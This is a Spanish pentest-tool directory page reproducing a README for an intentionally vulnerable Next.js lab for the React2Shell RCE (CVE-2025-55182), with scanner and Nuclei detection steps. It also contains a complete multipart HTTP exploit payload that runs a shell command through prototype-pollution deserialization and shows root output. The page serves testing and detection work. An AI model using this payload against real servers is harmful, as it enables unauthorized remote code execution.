Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/tarekhshaikh13/cve-2025-55184
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubtarekhshaikh13/cve-2025-55184

CVE-2025-55184

Código Objetivo + Exploit

Ver Repositorio
4hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC de React2Shell

Este repositorio proporciona un entorno mínimo intencionalmente vulnerable para probar escáneres de seguridad contra la reciente vulnerabilidad crítica de RCE (React2Shell) que afecta a React Server Components y Next.js.

CVE-2025-55182: Existe una vulnerabilidad de ejecución remota de código sin autenticación previa en React Server Components versiones 19.0.0, 19.1.0, 19.1.1 y 19.2.0, incluidos los siguientes paquetes: react-server-dom-parcel, react-server-dom-turbopack y react-server-dom-webpack. El código vulnerable deserializa de forma insegura las cargas útiles de las solicitudes HTTP dirigidas a los endpoints de Server Functions.

CVE-2025-66478: Hace seguimiento al impacto posterior en las aplicaciones Next.js que usan App Router.

[!Warning] Esta configuración es intencionalmente vulnerable y nunca debe exponerse a la internet pública ni usarse en producción.


Qué es esto

Esta aplicación es un proyecto Next.js muy pequeño que:

  • Fija versiones vulnerables de:
    • next: 16.0.6
    • react: 19.2.0
    • react-dom:
Descargar herramienta
19.2.0
  • Usa una configuración mínima de NextJS con app router y React server actions
  • [!TIP] Fijar react y react-dom es opcional, ya que una versión afectada de next es susceptible por defecto debido al app router.

    Cómo ejecutarlo

    root@kitploit:~
    docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest
    

    Cómo detectarlo

    Escáner de AssetNote

    Usa el escáner proporcionado por AssetNote:

    root@kitploit:~
    git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
    virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
    
    python3 scanner.py -u http://127.0.0.1:3000
    

    Devolverá:

    root@kitploit:~
    ╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000             
    
    brought to you by assetnote
    
    [*] Loaded 1 host(s) to scan
    [*] Using 10 thread(s)
    [*] Timeout: 10s
    [*] Using RCE PoC check
    [!] SSL verification disabled
    
    [VULNERABLE] http://127.0.0.1:3000 - Status: 303
    

    Nuclei

    root@kitploit:~
    nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
    

    Devolverá:

    root@kitploit:~
    [INF] Templates loaded for current scan: 1
    [WRN] Loading 1 unsigned templates for scan. Use with caution.
    [INF] Targets loaded for current scan: 1
    [CVE-2025-55182] [http] [critical] http://127.0.0.1:3000
    

    Cómo explotarlo

    Carga útil HTTP PoC de aquí.

    root@kitploit:~
    POST / HTTP/1.1
    Host: localhost:3000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
    Next-Action: x
    X-Nextjs-Request-Id: b5dce965
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
    X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
    Content-Length: 740
    
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="0"
    
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"
        }
      }
    }
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="2"
    
    []
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
    
    

    Devolverá:

    root@kitploit:~
    HTTP/1.1 500 Internal Server Error
    Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    x-nextjs-cache: HIT
    x-nextjs-prerender: 1
    Content-Type: text/x-component
    Date: Fri, 05 Dec 2025 11:53:05 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    Content-Length: 195
    
    0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
    1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
    
    
    image